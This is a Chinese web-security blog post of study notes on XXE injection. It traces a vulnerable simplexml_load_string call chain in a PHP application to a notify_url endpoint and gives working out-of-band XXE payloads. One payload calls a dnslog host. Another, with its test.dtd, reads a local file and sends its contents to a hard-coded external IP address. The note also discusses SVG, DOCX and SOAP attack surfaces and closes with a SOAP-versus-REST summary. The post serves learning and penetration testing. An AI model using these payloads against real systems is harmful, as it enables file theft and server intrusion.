XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

Ethan医生1周前WEB安全22


#黑盒功能点案例

1、不安全的图像读取-SVG

2、不安全的文档转换-DOCX

3、不安全的传递服务-SOAP

SOAP 的典型使用场景

✅ 适合 SOAP 的情况

  • 需要严格的数据契约(如金融交易、医疗数据交换)。

  • 需要高级安全控制(如 WS-Security 加密)。

  • 依赖复杂事务(如分布式系统调用)。

❌ 不适合 SOAP 的情况

  • 需要轻量级、快速开发的 API(如移动端 App)。

  • 对性能要求高(如高并发 Web 服务)。

  • 不需要复杂事务管理的简单 CRUD 操作。



不管是上传还是文件操作,xxe影响的文件的格式后缀要知道有哪几种

 

 

#白盒函数点案例:

1、漏洞函数simplexml_load_string

2、pe_getxml函数调用了漏洞函数

3、wechat_getxml调用了pe_getxml

4、notify_url调用了wechat_getxml

访问notify_url文件触发wechat_getxml函数,构造Paylod测试

 

先尝试读取文件,无回显后带外测试:

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">

%file;

]>

<root>&send;</root>

 

然后带外传递数据解决无回显:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/1.txt">

<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

 

test.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

 

#实际复盘:

https://xz.aliyun.com/news/16463

https://mp.weixin.qq.com/s/biQgwMU2v1I92CsDOFRB7g

https://mp.weixin.qq.com/s/1pj9sbwKT6RjIiLgNC7-Gg

https://mp.weixin.qq.com/s/Mgd91_Iie-wZU7MqP5oCXw




总结

  • SOAP 是一种 基于 XML 的协议,适合 企业级高安全性、强类型 的应用。

  • REST 更轻量,适合大多数现代 Web 和移动应用。

  • SOAP 依赖 WSDL 定义接口,支持 WS- 扩展*(如安全、事务)。

  • 由于 XML 冗长,SOAP 在性能上不如 REST(JSON),但在某些行业(如金融)仍是标准。

如果你在开发 银行、医疗、政府系统,SOAP 可能是更好的选择;如果是 互联网应用,REST 或 GraphQL 更常见。


标签: XXE

相关文章

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

#详细点:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。